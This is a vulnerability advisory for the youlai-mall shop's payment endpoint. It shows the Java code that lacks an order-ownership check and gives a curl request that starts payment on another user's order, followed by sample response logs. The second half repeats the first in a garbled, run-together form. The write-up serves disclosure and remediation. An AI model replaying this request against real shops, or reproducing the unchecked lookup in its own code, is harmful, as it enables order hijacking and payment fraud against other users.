youlai-mall improper access control in POST /mall-oms/app-api/v1/orders/payment enables horizontal privilege escalation and unauthorized payment initiation on victim orders
Contributors: Huang Weigang
1. Vulnerability Impact
- youlai-mall (latest)
https://github.com/youlaitech/youlai-mall
2. Vulnerability Location
- POST
/mall-oms/app-api/v1/orders/payment
3. Code Analysis
- File:
mall-oms/oms-boot/src/main/java/com/youlai/mall/oms/controller/app/OrderController.java
- Route and method:
@PostMapping("/payment")
public Result<WxPayUnifiedOrderResponse> submitOrderPayment(@RequestBody OrderPaymentRequest request) {
String orderSn = request.getOrderSn();
WxPayUnifiedOrderResponse response = orderService.submitOrderPayment(orderSn);
return Result.success(response);
}
- Service:
mall-oms/oms-boot/src/main/java/com/youlai/mall/oms/service/impl/OrderServiceImpl.java
public WxPayUnifiedOrderResponse submitOrderPayment(String orderSn) {
OmsOrder order = this.getOne(new LambdaQueryWrapper\<OmsOrder\>()
.eq(OmsOrder::getOrderSn, orderSn));
// ... initiate payment with third-party provider
return wxPayService.unifiedOrder(order);
}
- Issues:
- No ownership check (missing validation that the provided
orderSn belongs to the current logged-in member, e.g., comparing order's memberId with SecurityUtils.getMemberId()).
- No role/permission control (no
@PreAuthorize; any authenticated App user can initiate payment for arbitrary orders).
- Direct parameter trust (attacker-controlled
orderSn is used directly to query and process payment without authorization).
- Supports horizontal privilege escalation (attacker supplies victim's
orderSn and can initiate payment on their behalf).
- Payment confusion risk (attacker could pay for victim's order and claim goods, or trigger duplicate payments).
- Lacks payment initiation auditing (no logging of who initiated the payment request).
Vulnerability Reproduction
-- Preconditions
- Attacker has a valid App login token (
Authorization: Bearer <token>).
- Victim's
orderSn is known or discoverable (via enumeration, sequential patterns, or other BOLA endpoints).
- Target Endpoint:
POST /mall-oms/app-api/v1/orders/payment
-- Steps (horizontal privilege escalation: initiate payment for another user's order)
- Log in as User A (memberId=100) and obtain a valid token.
- Call the endpoint with User B's
orderSn (e.g., orderSn="202312070001"):
curl -X POST -H "Authorization: Bearer <token>" -H "Content-Type: application/json" -d '{"orderSn":"202312070001"}' "https://<gateway>/mall-oms/app-api/v1/orders/payment"
- Observe a 200 OK response with payment details, for example:
{"code":"00000","data":{"prepayId":"wx123...","codeUrl":"weixin://..."},"msg":"一切ok"}
- Outcome: Without any ownership validation, User A can initiate payment for User B's order, potentially causing payment confusion, unauthorized fund transfers, or order hijacking.
-- Example request/response log (reference)
- "data": {
- "request_data": {
- "method": "POST",
- "url": "
http://10.15.196.160:9999/mall-oms/app-api/v1/orders/payment",
- "params": {},
- "json": {"orderSn": "202312070001"},
- "data": {},
- "files": {}
},
- "response_data": {
- "code": "00000",
- "data": {"prepayId": "wx123abc...", "codeUrl": "weixin://wxpay/bizpayurl?pr=xyz"},
- "msg": "一切ok"
}
},
- "test": {
- "request_data": {
- "method": "POST",
- "url": "
http://10.15.196.160:9999/mall-oms/app-api/v1/orders/payment",
- "params": {},
- "json": {"orderSn": "202312070001"},
- "data": {},
- "files": {}
},
- "response_data": {
- "code": "00000",
- "data": {"prepayId": "wx123abc...", "codeUrl": "weixin://wxpay/bizpayurl?pr=xyz"},
- "msg": "一切ok"
}
}
4. Impact Description
- Unauthorized payment initiation
- Any logged-in user can initiate payment for arbitrary orders, causing payment confusion and potential financial fraud.
- Horizontal privilege escalation (BOLA/IDOR)
- The
orderSn parameter is not validated against the authenticated user's identity, allowing cross-account payment operations.
- Payment hijacking and order theft
- Attacker could pay for victim's order using their own payment method, then claim the goods during delivery or pickup.
- Business logic bypass
- Payment initiation should only be allowed by the order owner, but this endpoint allows any authenticated user to trigger payments.
- Financial reconciliation issues
- Unauthorized payment initiation can cause mismatches between order ownership, payment records, and fulfillment, complicating accounting and refunds.
- Third-party payment provider abuse
- Repeated unauthorized payment requests could trigger rate limits, fraud detection, or account suspension with payment providers.
- Lack of audit trail
- No logging of who initiated the payment request, making fraud investigation and dispute resolution difficult.
- Attack chain amplification
- When combined with order enumeration or creation endpoints, attackers can systematically disrupt payment flows and cause operational chaos.
- System trust erosion
- Users lose confidence in the platform's ability to protect their orders and payment processes, damaging reputation and conversion rates.
youlai-mall improper access control in POST /mall-oms/app-api/v1/orders/payment enables horizontal privilege escalation and unauthorized payment initiation on victim orders
Contributors: Huang Weigang
1. Vulnerability Impact
https://github.com/youlaitech/youlai-mall2. Vulnerability Location
/mall-oms/app-api/v1/orders/payment3. Code Analysis
mall-oms/oms-boot/src/main/java/com/youlai/mall/oms/controller/app/OrderController.java@PostMapping("/payment")public Result<WxPayUnifiedOrderResponse> submitOrderPayment(@RequestBody OrderPaymentRequest request) {String orderSn = request.getOrderSn();WxPayUnifiedOrderResponse response = orderService.submitOrderPayment(orderSn);return Result.success(response);}mall-oms/oms-boot/src/main/java/com/youlai/mall/oms/service/impl/OrderServiceImpl.javapublic WxPayUnifiedOrderResponse submitOrderPayment(String orderSn) {OmsOrder order = this.getOne(new LambdaQueryWrapper\<OmsOrder\>().eq(OmsOrder::getOrderSn, orderSn));// ... initiate payment with third-party providerreturn wxPayService.unifiedOrder(order);}orderSnbelongs to the current logged-in member, e.g., comparing order'smemberIdwithSecurityUtils.getMemberId()).@PreAuthorize; any authenticated App user can initiate payment for arbitrary orders).orderSnis used directly to query and process payment without authorization).orderSnand can initiate payment on their behalf).Vulnerability Reproduction
-- Preconditions
Authorization: Bearer <token>).orderSnis known or discoverable (via enumeration, sequential patterns, or other BOLA endpoints).POST /mall-oms/app-api/v1/orders/payment-- Steps (horizontal privilege escalation: initiate payment for another user's order)
orderSn(e.g., orderSn="202312070001"):curl -X POST -H "Authorization: Bearer <token>" -H "Content-Type: application/json" -d '{"orderSn":"202312070001"}' "https://<gateway>/mall-oms/app-api/v1/orders/payment"{"code":"00000","data":{"prepayId":"wx123...","codeUrl":"weixin://..."},"msg":"一切ok"}-- Example request/response log (reference)
http://10.15.196.160:9999/mall-oms/app-api/v1/orders/payment",},
}
},
http://10.15.196.160:9999/mall-oms/app-api/v1/orders/payment",},
}
}
4. Impact Description
orderSnparameter is not validated against the authenticated user's identity, allowing cross-account payment operations.